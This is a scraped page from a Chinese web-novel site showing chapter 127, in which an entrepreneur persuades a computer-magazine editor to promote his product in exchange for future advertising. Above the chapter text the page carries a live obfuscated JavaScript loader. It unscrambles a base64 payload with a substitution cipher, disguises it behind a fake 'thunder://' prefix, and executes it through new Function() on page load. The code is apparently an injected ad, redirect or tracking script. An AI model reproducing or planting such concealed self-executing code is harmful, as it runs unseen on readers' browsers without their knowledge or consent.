当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第127章 营销策划大姐大(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

127

白浪叫了辆出租车,奔往《电脑周刊》找到龚雨珊。一见面,龚雨珊自然问起傻瓜电脑。白浪说:“我就是来找你商量此事的。傻瓜电脑的宣传存在偏差,我想请你帮忙,重新进行包装。”

龚雨珊眼睛一亮,“是不是再登几次广告?”

白浪说:“单纯刊登广告效果有限,广告说得天花乱坠,总有自卖自夸之嫌,读者会有抵触心理。而且,傻瓜电脑的智能化特色,也不是用文字能描述清楚的,只能身临其境地感受,才能体验得到。所以我想变个方式进行宣传。”

“你有什么设想?”

“《电脑周刊》办了几年,发行量不断增大,在读者中影响越来越大。我希望能由《电脑周刊》出面,组织一场活动推介傻瓜电脑。读者对媒体总是比较信任,以你们的名义推介,促销效果必定更好。”

龚雨珊迟疑了,“这事我有点拿不准。以报纸的名义直接为厂商推销产品,效果当然更好,问题是这样合不合适。直接推介某个商品,这有变相广告之嫌。我担心影响报纸公信力。”

白浪有些着急,恳切地说:“雨珊,请你看在朋友的份上,帮我一把。我已经是背水一战了,目前我们欠了大河集团500万,还欠北科公司一大笔加工费,傻瓜电脑项目只能成功,不能失败。你也不必担心,现在不是讲改革么,很多事情是需要创新的,何况这也是件好事。傻瓜电脑销售得好,对电脑普及有好处。普及电脑不也是你们一贯倡导的吗?”

龚雨珊说:“促销成功了,对你们公司,甚至对社会,当然会有好处。问题是我们报社有什么好处?”

白浪道:“活动怎么搞,我们再具体策划。活动经费我们来出,《电脑周刊》的参与人员,我们会适当给劳务费。对你,我自然会着重感谢的。”

龚雨珊笑了笑:“你误解我的意思,我并不是想个人捞什么好处。即使别人拿好处,我也一分钱不要。我要了,就是以权谋私。但我是主编,得考虑报纸的生存和发展。促销活动搞成了,给你们带来的经济利益必定不小。但促销活动是用《电脑周刊》的名义举办的,若我们个人拿劳务费,没有报社的利益,显然不合理,领导也不会同意。”

“你有什么想法?”

“《电脑周刊》的效益一年好于一年,主动上门要求做广告越来越多,千把块钱的劳务费我们真是看不上了。为这点小钱操办这么大的活动,我们不合算。这样吧,今年我们的广告创收任务很重,迄今还有很大一部分没着落。我们订个君子协定,我们帮你们促销,待傻瓜电脑卖出去了,你们效益好转了,在《电脑周刊》多投放一些广告,做多少根据销售情况定个比例。如何?”

白浪觉得,如果傻瓜电脑畅销起来,那么从可观的利润中拿出一部分回报《电脑周刊》和龚雨珊,也不是问题。现在的关键,是要动员一切力量,宣传傻瓜电脑,让傻瓜电脑销势旺起来。

“行!”他满口赞同,“这办法很好,这样就等于我们合作做事了,可以理直气壮地操作。至于广告投放的比例,我看可以定为10%,我赚1000万,就往你们报纸投100万的广告。”

龚雨珊这才表现出热情,兴奋地说:“有了这个协定,我就好跟领导解释。但愿我们合作成功!”

俩人又进行了一番具体策划,随后白浪便告辞。

数日后,《电脑周刊》在显着位置刊出一则醒目的广告:

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间